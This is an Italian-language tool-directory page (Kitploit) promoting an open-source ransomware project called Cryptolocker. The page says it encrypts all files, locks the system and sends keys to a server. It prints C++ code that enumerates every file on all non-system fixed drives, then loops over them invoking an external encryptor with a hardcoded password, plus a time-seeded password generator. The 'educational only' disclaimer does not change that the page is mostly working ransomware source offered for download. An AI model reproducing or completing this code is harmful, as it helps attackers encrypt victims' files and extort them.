Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ajayrandhawa/cryptolocker
Strumenti di Crittografia/DecrittografiaAnalisi MalwareApprendimento e Formazione
GitHubajayrandhawa/cryptolocker

Cryptolocker

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

CryptoLocker è un cifratore di file open source. Crypto è sviluppato in Visual C++. Le sue funzionalità includono la crittografia di tutti i file, il blocco del sistema e l'invio delle chiavi al server. La funzionalità multi-thread consente a questo strumento di rendere la crittografia più veloce.

1435529 giorni faRevisionato da Kitploit
Condividi

DICHIARAZIONE DI NON RESPONSABILITÀ: I NOSTRI STRUMENTI SONO SOLO A SCOPO EDUCATIVO. NON USARLI PER ATTIVITÀ ILLEGALI. SEI L'UNICO RESPONSABILE DELLE TUE AZIONI! I NOSTRI STRUMENTI SONO OPEN SOURCE SENZA ALCUNA GARANZIA E COSÌ COME SONO.

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

Crypto è un Crypto-Locker open source. Crypto è sviluppato in Visual C++. Ha la funzionalità di crittografare tutti i file, bloccare il sistema e inviare le chiavi al server. La funzionalità multi-thread aiuta questo strumento a rendere la crittografia più veloce.

Utilizzando un potente algoritmo di crittografia a 256 bit, una volta che un file è crittografato, il file è completamente inutilizzabile senza la password. Semplicemente non può essere letto.

Caratteristiche

  1. Forte crittografia AES. (Infrangibile)
  2. Funzionalità di blocco del sistema.
  3. Crittografia multi-thread.
  4. Potente interfaccia di amministrazione web

Passo 1 (Recupero dei file)

Ottenere tutti i file da tutti i drive per crittografarli.

Ecco un programma in Visual C++ che ottiene l'elenco di tutte le directory e i file in un drive e memorizza i percorsi in un file di testo per l'uso successivo nella crittografia. Utilizzo le librerie Boost C++ per ottenere l'elenco di tutti i file. Imposta prima le librerie Boost per compilare il programma.

root@kitploit:~
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

Passo 2 (Crittografia dei file)

Qui prima ottengo ogni percorso di file da "data.txt" riga per riga e lo invio a questo strumento di crittografia con il tipo di crittografia e la password. Puoi anche incorporare tutto questo programma nel ciclo superiore per ottenere il percorso e crittografare i dati in modo ricorsivo.

root@kitploit:~
out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Passo 3 (Creazione di una funzione per una password complessa e lunga)

Invia la lunghezza alla funzione e la funzione restituisce una password complessa e lunga generata che puoi usare per la crittografia.

root@kitploit:~
string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

Attualmente in fase di sviluppo....

Buona Cyber Security.....Buon Open Source.......

:)

Scarica lo strumento